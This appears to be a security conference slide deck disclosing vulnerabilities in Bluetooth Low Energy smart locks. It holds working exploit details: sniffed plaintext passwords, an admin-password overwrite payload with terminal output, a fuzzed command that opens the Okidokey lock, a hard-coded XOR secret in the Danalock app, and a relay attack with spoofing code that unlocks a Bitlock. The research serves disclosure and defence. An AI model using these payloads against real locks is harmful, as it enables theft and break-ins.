Picking Bluetooth Low Energy Locks from a Quarter Mile Away

Anthony Rose & Ben Ramsey
* Anthony Rose
  - Researcher, Merculite Security
  - Lockpicking hobbyist
  - BS in Electrical Engineering
  - Prior work: Wireless video traffic analysis
  - Currently focused on BLE security

* Ben Ramsey
  - Research Director, Merculite Security
  - Wireless geek
  - PhD in Computer Science
  - Recent work: Z-Wave attacks
    - DerbyCon 2015
    - ShmooCon 2016
    - PoC||GTFO 12
Overview

1. Goals
2. What is Bluetooth Low Energy?
3. Why Should I Care?
4. Exploits
5. Demo
6. Takeaways & Future Work
7. Questions
>>> Goals

* Identify vulnerabilities in BLE smart locks
* Release proof of concept exploits
* Put pressure on vendors to improve security
* Raise consumer awareness
What is Bluetooth Low Energy?

* Designed for apps that don’t need to exchange large amounts of data
* Minimal power consumption
* Operates at 2.4 GHz (same as Bluetooth Classic)
* Short range (<100m)
What is Bluetooth Low Energy?

* GATT (Generic Attribute Profile)
  - Client sends requests to GATT server
  - Server stores attributes
Why Should I Care?

* Widely used and gaining popularity
* Securing homes and valuables
* Current BLE "security" products:
  - Deadbolts
  - Bike locks
  - Lockers
  - Gun Cases
  - Safes
  - ATMs
  - Airbnb
Who is Using BLE?

- Kwikset
- danalock
- iBluLock
- QuickLock
- MasterLock
- noke
- August
- CLAPCO D29
- CLAPCO DEADBOLT CO.
- OK-DOKEYS
- BITLOCK

Only works if it's closed!
Bluetooth Hacking is Affordable

- Ubertooth One - $100
- Bluetooth Smart USB dongle - $15
- Raspberry Pi - $40
- High gain directional antenna - $50
Ubertooth One

* Created by Michael Ossmann
* Open source Bluetooth tool
* First affordable Bluetooth monitoring and development platform
* Promiscuous sniffing
* BLE receive only capability (with current firmware)
>>> Wardriving

* Ubertooth + high gain directional antenna
* Bluetooth dongle
* Easy deployment
* Long range (1/4+ mile)
* Concealable
* Warflying with drones...
Wardriving

E9:58:5A:60:2C:9C (unknown)
E9:58:5A:60:2C:9C Surge
5A:FD:1F:BF:71:90 00EBB2A08DHOMELOCK
FF:89:23:F6:C4:73 Charge HR
70:73:CB:DE:79:06 (unknown)
60:03:08:BF:AD:61 (unknown)

B8:78:2E:4F:1E:40 (unknown)
77:E5:1D:78:6F:AD (unknown)
77:E5:1D:78:6F:AD danalock-B782341
B8:78:2E:4F:1E:40 (unknown)
44:79:84:71:C8:8C (unknown)
44:79:84:71:C8:8C Blank
62:06:D6:7A:B1:C1 Kevo
62:06:D6:7A:B1:C1 (unknown)

B8:78:2E:4F:1E:40 (unknown)
08:EF:3B:DF:13:82 (unknown)
1C:BA:8C:26:3A:7E Aug
1C:BA:8C:26:3A:7E (unknown)
18:B4:30:50:95:B1 (unknown)
18:B4:30:50:95:B1 Nest Cam
Wardriving

<table>
<thead>
<tr>
<th>MAC Address</th>
<th>Description</th>
<th>MAC Address</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>62:06:D6:7A:B1:C1</td>
<td>(unknown)</td>
</tr>
<tr>
<td>B8:78:2E:4F:1E:40</td>
<td>(unknown)</td>
<td>1C:BA:8C:26:3A:7E</td>
<td>Aug</td>
</tr>
<tr>
<td>08:EF:3B:DF:13:82</td>
<td>(unknown)</td>
<td>1C:BA:8C:26:3A:7E</td>
<td>(unknown)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>18:B4:30:50:95:B1</td>
<td>Nest Cam</td>
</tr>
</tbody>
</table>
Uncracked Locks

* Noke Padlock
* Masterlock Padlock
* August Doorlock
* Kwikset Kevo Doorlock
Uncracked Locks

* Noke Padlock
* Masterlock Padlock
* August Doorlock - hard-coded key
* Kwikset Kevo Doorlock

Discovered by Paul Lariviere & Stephen Hall

```java
package com.august.util;

import android.content.SharedPreferences;

public class Settings {
    private static final String ENC_KEY = "...
    private static final LogUtil LOG = LogUtil.getLogger(Settings.class);
    public static final String SIZE_SUFFIX = "*size*";
    public static final String STR_ACCESS_TOKEN = "API_ACCESS_TOKEN";
    public static final String STR_DEBUG_SETTINGS = "DEBUG_SETTINGS";
    public static final String STR_INSTALL_TOKEN = "API_INSTALL_TOKEN";
    public static final String STR_PUSH_ALERTS = "PUSH_ALERTS";
    public static final String VERSION_SUFFIX = "_v1";
    static Settings _instance = null;
    DebugSettings _debugSettings = new DebugSettings();
    Properties _encryptedProps = null;

    public static Settings init()
    {
        if (_instance == null) {
            instance = new Settings();
        }
    }
```
Uncracked Locks

* Noke Padlock
* Masterlock Padlock
* August Doorlock
* Kwikset Kevo Doorlock - fragile
Features of "Uncrackable" Locks

- Proper AES Encryption
- Truly random nonce (8-16 bytes)
- 2-factor authentication
- No hard-coded passwords
- Long passwords allowed
  - 16-20 characters

![Password Change Form]

Enter the temporary password that was e-mailed to you, and then enter your new password in the "New Password" and "Confirm New Password" fields.

Temporary Password: [redacted]

New Password: [redacted]

Confirm New Password: [redacted]

Your password may be any combination of 5 to 6 characters
- It is case insensitive
- It can't contain special characters (?&%$@#=+)
- It can use any odd number
- It can only use cyrillic script or hieroglyphs
- It must contain the word "Password"
>>> Vulnerable Devices

* Plain Text Password
  - Quicklock Doorlock & Padlock v1.5
  - iBluLock Padlock v1.9
  - Plantraco Phantomlock v1.6

* Replay Attack
  - Ceomate Bluetooth Smart Doorlock v2.0.1
  - Elecycle EL797 & EL797G Smart Padlock v1.8
  - Vians Bluetooth Smart Doorlock v1.1.1
  - Lagute Sciener Smart Doorlock v3.3.0
>>> Vulnerable Devices

* Fuzzing
  - Okidokey Smart Doorlock v2.4
* Decompiliing APKs
  - Poly-Control Danalock Doorlock v3.0.8
* Device Spoofing
  - Mesh Motion Bitlock Padlock v1.4.9
Connection Sniffing

* Ubertooth used for sniffing
* Must be listening on an advertisement channel (37, 38, 39) and follow a connection
  - Use 3 Ubertooths (Uberteeth?), 1 on each advertisement channel
* Passively listen to conversation between the App and Lock
Python Implementation

* Communicates directly to the HCI
* Allows implementation of additional commands and functions
  - 20+ commands thus far
    * Spoofing (BD Addr and Host Name)
    * Role reversal
    * Connection oriented channels
    * ...and more!

```
def Connect(BT_conn, addr, random):
    HCI_packet_type = "01"
    createleconn = "0D20"
    param_length = "19"
    scan_interval = "6000"
    scan_window = "3000"
    init_filter = "00"
    peer_addr = random
    BD_addr = addr
    own_addr = "00"
    conn_interval_min = "2800"
    conn_interval_max = "3800"
    conn_latency = "0000"
    superv_timeou = "2A00"
```
Plain Text Passwords

* Are they even trying?
* Found on 4 separate locks
  - Quicklock Doorlock
  - Quicklock Padlock
  - iBluLock Padlock
  - Plantraco Phantomlock

![Image of lock]

<table>
<thead>
<tr>
<th>Opcode</th>
<th>Current Password</th>
<th>New Password</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>0012345678</td>
<td>12345678</td>
</tr>
</tbody>
</table>
Plain Text Passwords

* Are they even trying?
* Found on 4 separate locks
  - Quicklock Doorlock
  - Quicklock Padlock
  - iBluLock Padlock
  - Plantraco Phantomlock

```
00 12345678 12345678
Opcode  Current Password  New Password
```
Admin Privileges

* Can change admin password
Admin Privileges

* Can change admin password
  - 011234567866666666

root@kali:~/Door Hacks/python# python Quicklock_padlock_password.py
WARNING: No route found for IPv6 destination :: (no default route?)
Connected
Writing 011234567866666666 to handle: 2d00
Password Changed
Disconnected
Admin Privileges

* Can change admin password
  - 011234567866666666
* Locks out owner with new password

```
root@kali:~/Door Hacks/python# python Quicklock_padlock_password.py
WARNING: No route found for IPv6 destination :: (no default route?)
Connected
Writing 01123456786666666666 to handle: 2d00
Password Changed
Disconnected
```
>>> Admin Privileges

* Can change admin password
  - 011234567866666666
* Locks out owner with new password
* Requires hard reset (battery removal)
Admin Privileges

* Can change admin password
  - 011234567866666666
* Locks out owner with new password
* Requires hard reset (battery removal)
  - Only possible if lock is already open

```
root@kali:~/Door Hacks/python# python Quicklock_padlock_password.py
WARNING: No route found for IPv6 destination :: (no default route?)
Connected
Writing 011234567866666666 to handle: 2d00
Password Changed
Disconnected
```
Admin Privileges

* Can change admin password
  - 011234567866666666
* Locks out owner with new password
* Requires hard reset (battery removal)
  - Only possible if lock is already open

Warning!
the password of the lock was modified, input password, please!
<table>
<thead>
<tr>
<th>MAC Address</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>61:84:14:FA:72:18</td>
<td>(unknown)</td>
</tr>
<tr>
<td>61:84:14:FA:72:18</td>
<td>(unknown)</td>
</tr>
<tr>
<td>42:2B:E7:4C:E9:05</td>
<td>(unknown)</td>
</tr>
<tr>
<td>42:2B:E7:4C:E9:05</td>
<td>(unknown)</td>
</tr>
<tr>
<td>56:D2:A7:61:CE:EB</td>
<td>(unknown)</td>
</tr>
<tr>
<td>56:D2:A7:61:CE:EB</td>
<td>(unknown)</td>
</tr>
<tr>
<td>C5:F0:2F:98:C3:28</td>
<td>Tile</td>
</tr>
<tr>
<td>C5:F0:2F:98:C3:28</td>
<td>(unknown)</td>
</tr>
<tr>
<td>D4:80:D6:53:DF:4C</td>
<td>(unknown)</td>
</tr>
<tr>
<td>5E:16:15:B1:03:16</td>
<td>(unknown)</td>
</tr>
<tr>
<td>F8:45:28:A7:56:CD</td>
<td>(unknown)</td>
</tr>
</tbody>
</table>
A Wild Plain Text Password Appears

LE Scan ...

61:84:14:FA:72:18 (unknown)
61:84:14:FA:72:18 (unknown)
42:2B:E7:4C:E9:05 (unknown)
42:2B:E7:4C:E9:05 (unknown)
56:D2:A7:61:CE:EB (unknown)
56:D2:A7:61:CE:EB (unknown)
C5:F0:2F:98:C3:28 Tile
C5:F0:2F:98:C3:28 (unknown)
D4:80:D6:53:DF:4C (unknown)
5E:16:15:B1:03:16 (unknown)
F8:45:28:A7:56:CD (unknown)
Bluetooth Attribute Protocol
- Opcode: Write Request (0x12)
- Handle: 0x0029 (Unknown)
- Value: 006969696969696969
Password is 69696969????
>>> A Wild Plain Text Password Appears

Password is 69696969???
Brute Forcing

* When all else fails, throw everything at it
* Quicklock
  - 8 digit pin
  - 100,000,000 combos
* iBluLock
  - 6 character password
  - A LOT!
* Solution
  - Common pins (11111111, 12345678, 69696969, ...)
  - Phone numbers
  - Street address
  - Wordlists
Replay Attacks

* Claim "encryption" is being used
Replay Attacks

* Claim "encryption" is being used
* Who cares what they are sending as long as it opens!
Replay Attacks

* Claim "encryption" is being used
* Who cares what they are sending as long as it opens!
* Vulnerable Devices
  - Ceomate Bluetooth Smartlock
  - Elecycle Smart Padlock
  - Vians Bluetooth Smart Doorlock
  - Lagute Sciener Smart Doorlock
Replay Attacks

* Claim "encryption" is being used
* Who cares what they are sending as long as it opens!
* Vulnerable Devices
  - Ceomate Bluetooth Smartlock
  - Elecycle Smart Padlock
  - Vians Bluetooth Smart Doorlock
  - Lagute Smart Door Lock
Fuzzing Devices

* Change bytes of a valid command
* See if we can get lock to enter "error state"
* Vulnerable Device
  - Okidokey Smart Doorlock
* Okidokey’s claim of "security"
  - "uses highly secure encryption technologies, similar to banking and military standards (including AES 256-bit and 3D Secure login), combined with proven and patented cryptographic solutions"
Okidokey’s claim of "security"

- "uses highly secure encryption technologies, similar to banking and military standards (including AES 256-bit and 3D Secure login), combined with proven and patented cryptographic solutions"
Fuzzing Devices

* Sniff a valid command
  - The key is not "unique"

 Opcode?  "Unique" key

Valid Command

- Opcode: Write Request (0x12)
- Handle: 0x0025 (Unknown)
- Value: 9348b6cad7299ec1481791303d7c90d549352398
Fuzzing Devices

* Sniff a valid command
* Intricate fuzzing script (days? weeks? months?!?)

9348b6cad7299ec1481791303d7c90d549352398
Opcode? "Unique" key

Valid Command

• Opcode: Write Request (0x12)
• Handle: 0x0025 (Unknown)
• Value: 9348b6cad7299ec1481791303d7c90d549352398
>>> Fuzzing Devices

* Sniff a valid command
* Intricate fuzzing script (days? weeks? months?!?)
* Change 3rd byte to 0x00

9348b6cad7299ec1481791303d7c90d549352398

 Opcode?

"Unique" key

Valid Command:

```
Opcode: Write Request (0x12)
Handle: 0x0025 (Unknown)
Value: 9348b6cad7299ec1481791303d7c90d549352398
```

Modified Command:

```
Opcode: Write Request (0x12)
Handle: 0x0025
Value: 934800cad7299ec1481791303d7c90d549352398
```
Fuzzing Devices

* Sniff a valid command
* Intricate fuzzing script (days? weeks? months?!?)
* Change 3rd byte to 0x00
* Lock enters error state and opens

9348b6cad7299ec1481791303d7c90d549352398
Opcode?  "Unique" key

Valid Command

```
 Opcode: Write Request (0x12)
   Handle: 0x0025 (Unknown)
   Value: 9348b6cad7299ec1481791303d7c90d549352398
```

Modified Command

```
 Opcode: Write Request (0x12)
   Handle: 0x0025
   Value: 934800cad7299ec1481791303d7c90d549352398
```
Fuzzing Devices

* Sniff a valid command
* Intricate fuzzing script (days? weeks? months?!?)
* Change 3rd byte to 0x00
* Lock enters error state and opens
* Unusable to user while in error state

Operation failure
Your keys are outdated. Please retry.
Fuzzing Devices

- Sniff a valid command
- Intricate fuzzing script (days? weeks? months?!?)
- Change 3rd byte to 0x00
- Lock enters error state and opens
- Unusable to user while in error state
- "Patented" crypto is XOR?

Operation failure

Your keys are outdated. Please retry.

OK
Fuzzing Devices

* Sniff a valid command
* Intricate fuzzing script (days? weeks? months?!?)
* Change 3rd byte to 0x00
* Lock enters error state and reboots
* Unusable to user while in error state
* "Patented" crypto is XOR?
Decompiling APKs

* Download APKs from Android device
* Convert dex to jar
* Decompile jar
  - JD-GUI
  - Krakatau
  - Bytecode Viewer
Decompiling APKs

* Vulnerable Device
  - Danalock Doorlock
Decompiling APKs

* Vulnerable Device
  - Danalock Doorlock
* Reveals encryption method and hard coded password
  - "thisisthesecret"

```java
private final String secret = "thisisthesecret";
```
Decompiling APKs

* Vulnerable Device
  - Danalock Doorlock
* Reveals encryption method and hard coded password
  - "thisisthesecret"
* XOR(password, thisisthesecret)

```java
private final String secret = "thisisthesecret";
```
Decompiling APKs

* Vulnerable Device
  - Danalock Doorlock
* Reveals encryption method and hard coded password
  - "thisisthesecret"
* XOR(password, "thisisthesecret")

```java
private final String set = "thisisthesecret";
```

```java
public String getPassword()
{
    Cursor localCursor = getReadableDatabase().query("LST_TABLE", DatabaseColumns._ALL_COLUMNS, null, null, null, null, null);
    if (localCursor == null) {
        return "";
    }
    if (localCursor.moveToFirst()) {
        byte[] arrayOfByte = xor(new String(Base64.decode(localCursor.getString(localCursor.getColumnIndex("PASSWORD")))).getBytes(), 1));
        localCursor.close();
        return new String(arrayOfByte);
    }
    return "";
}
```
**Web Servers**

* Utilizes a Web Server to generate passwords
* Requires internet to communicate and retrieve passwords
* Becoming more widely used
  - Kwikset Kevo Doorlock
  - Noke Smart Padlock
  - Masterlock Smart Padlock
  - August Smart Doorlock
  - Mesh Motion Bitlock Padlock
Rogue Devices

* Impersonate lock to steal password from user

* Requires:
  - Raspberry Pi or Laptop
  - Bluez
  - Bleno
  - LightBlue Explorer

* Mobile and (Somewhat) Undetectable

* Vulnerable Device
  - Mesh Motion Bitlock Padlock
    * This is possible due to a predictable nonce
    * App is running in the background and sends commands without user interaction
How Did We Do It?

- Connect to Bitlock
- Scan for Primary Services & Characteristics
- Build copy of device in Bleno
How Did We Do It?

- Connect to Bitlock
- Scan for Primary Services & Characteristics
- Build copy of device in Bleno

```
attr handle: 0x0001, end grp handle: 0x0005 uuid: 00001800-0000-1000-8000-00805f9b34fb
attr handle: 0x0006, end grp handle: 0x0009 uuid: 00001801-0000-1000-8000-00805f9b34fb
attr handle: 0x000a, end grp handle: 0x000e uuid: d0611e78-bbb4-4591-a5f8-487910ae4366
attr handle: 0x000f, end grp handle: 0x0012 uuid: 0000180f-0000-1000-8000-00805f9b34fb
attr handle: 0x0013, end grp handle: 0x0018 uuid: 00001805-0000-1000-8000-00805f9b34fb
attr handle: 0x0019, end grp handle: 0x001d uuid: 0000180a-0000-1000-8000-00805f9b34fb
attr handle: 0x001e, end grp handle: 0x0027 uuid: 7905f431-b5ce-4e99-a48f-4b1e122d00d0
attr handle: 0x0028, end grp handle: 0x0033 uuid: 89d3502b-0f36-433a-8ef4-c502ad55f8dc
attr handle: 0x0034, end grp handle: 0x0040 uuid: 693dfedf-2834-4dbb-8f59-e426c093ba26
attr handle: 0x0041, end grp handle: 0x0047 uuid: 00001800-0000-1000-8000-00805f9b34fb
attr handle: 0x0048, end grp handle: 0x004e uuid: 96795a0e-fbc5-4219-8439-a6bec823531b
```
How Did We Do It?

* Read current nonce from notification
* Send invalid password
How Did We Do It?

- Invalid password increments nonce again
How Did We Do It?

- Follow target and setup impersonated lock
- Receive connection from user
How Did We Do It?

* Send nonce notification to user
* Value doesn’t have to be only n+2, it could be n+10 or n+100
How Did We Do It?

User

Web Server

* Nonce sent from user to Bitlock’s server

Attacker

Bitlock

(1) Connect

(2) n

(3) n+1

(4) Connect

(5) n+2

(6) n+2
How Did We Do It?

* Encrypted nonce is sent back to the user
How Did We Do It?

* Encrypted nonce is sent to attacker
How Did We Do It?

1. **Connect**
2. **n**
3. **n+1**

User

Web Server

(4) **Connect**

(5) **n+2**

Attacker

(8) **Enc(n+2)**

Bitlock

(1)

(6) **n+2**

(7) **Enc(n+2)**
How Did We Do It?

Attacker

Bitlock

Web Server

User

* Return to lock

1. Connect
2. n
3. n+1
4. Connect
5. n+2
6. n+2
7. Enc(n+2)
8. Enc(n+2)
9. Connect

(4) Connect
(5) n+2
(8) Enc(n+2)
How Did We Do It?

**Web Server**

1. **Attacker**
   - Connect
   - \( n \)

2. **n + 1**

3. **User**
   - Connect
   - \( n + 2 \)

4. **Web Server**
   - \( n + 2 \)
   - **Enc(n+2)**

5. **Attacker**
   - \( n + 2 \)

6. **Bitlock**
   - Connect
   - \( n + 1 \)

7. **Web Server**
   - **Enc(n+2)**

8. **Attacker**
   - Connect
   - \( n + 2 \)

9. **Bitlock**
   - Connect
   - \( n \)

- *Receive current nonce*
How Did We Do It?

* ...and it opens
How Did We Do It?

1. Connect
2. n
3. n+1

(4) Connect
(5) n+2
(6) Enc(n+2)
(7) Enc(n+2)

User

(8) Enc(n+2)

Attacker

Web Server

Bitlock

root@kali:~/Door Hacks/python# python Bitlock.py
WARNING: No route found for IPv6 destination :: (no default route?)
Connected
Writing 0100 to handle: 2B00
Writing 0100 to handle: 2B00
Writing 0100 to handle: 3800
Writing 0100 to handle: 3800
Writing f3a4968d4b0e5ee73a67f3b5059039 to handle 3800
Unlocked!
Disconnected

PWNED!
Rogue Devices

* Deployment in high traffic areas (Coffee Shop or Universities)
* Theoretically possible to retrieve password from user and steal bike before they return
Test Run Bike

* University in Midwest
* 4 bikes on campus (Summertime)
* Capacity 88 bikes
* Any user can see bikes within a bikeshare
Test Run Bike
Test Run Bike
```javascript
var bleno = require('bleno');
var util = require('util');

var name = '00001172';
var serviceUuids = ['693dfedf28344dbb8f59e426c093ba26'];
var Characteristic = bleno.Characteristic;
var Descriptor = bleno.Descriptor;
var PrimaryService = bleno.PrimaryService;
```
Test Run Bike

```javascript
var bleno = require('bleno');
var util = require('util');

var name = '00001172';
var serviceUuids = ['693dfedf28344dbb8f59e426c093ba26'];
var Characteristic = bleno.Characteristic;
var Descriptor = bleno.Descriptor;
var PrimaryService = bleno.PrimaryService;
```

Device Name
```javascript
var bleno = require('bleno');
var util = require('util');

var name = '00001172';

Device Name

var serviceUuids = ['693dfedf28344dbb8f59e426c093ba26'];
var Characteristic = bleno.Characteristic;
var Descriptor = bleno.Descriptor;
var PrimaryService = bleno.PrimaryService;

a00293a.prototype.onSubscribe = function(maxValueSize, updateValueCallback) {
    //console.log('Indicate: ' + data.toString('hex'));
    this._value = new Buffer ('0000000000000000000000000000000044', 'hex')
    updateValueCallback(this._value);
    this._updateValueCallback = updateValueCallback;
}
```
var bleno = require('bleno');
var util = require('util');
var name = '00001172';
var serviceUuids = ['693dfedf28344dbb8f59e426c093ba26'];
var Characteristic = bleno.Characteristic;
var Descriptor = bleno.Descriptor;
var PrimaryService = bleno.PrimaryService;

a00293a.prototype.onSubscribe = function(maxValueSize, updateValueCallback) {
  //console.log('Indicate: ' + data.toString('hex')):
  this._value = new Buffer('0000000000000000000000000000000044', 'hex')
  updateValueCallback(this._value);
  this._updateValueCallback = updateValueCallback;
}
Test Run Bike

* Disclaimer: We did not open any locks that do not belong to us ...
Rogue Device Way Ahead

- Web Server
- User
- Rogue Device 2
- Rogue Device 1
- Lock

WiFi, LTE, Etc
Locating Devices

* BlueFinder
  - Open-source tool
  - Determines the distance (meters) to a Bluetooth device through RSS
  - Active or Passive Modes
  - ~100 samples/sec used to estimate distance
  - Mean error ~24% (e.g., +/- 3m at $d = 12m$)

```
root@kali:~/Door Hacks/BlueFinder v1.2# python Bluefinder.py -b 18:B4:30:50:95:B1
WARNING: No route found for IPv6 destination :: (no default route?)
28.1 m
27.6 m
26.5 m
25.3 m
```
How do we find these devices?
Wireless Demo
Takeaways & Future Work

* Takeaways
  - Vendors prioritized physical robustness over wireless security
  - 12/16 locks had insufficient BLE security
  - Recommendation: disable phone’s Bluetooth when not in use

* Future Work
  - Extract pattern of life using history logs
  - Dynamic profiles for rogue device
  - Extended python functionality
  - Evaluate Bluetooth ATM locks
Code: github.com/merculite/BLE-Security

Have comments, compliments, or cash?
Contact us: team @ merculite.net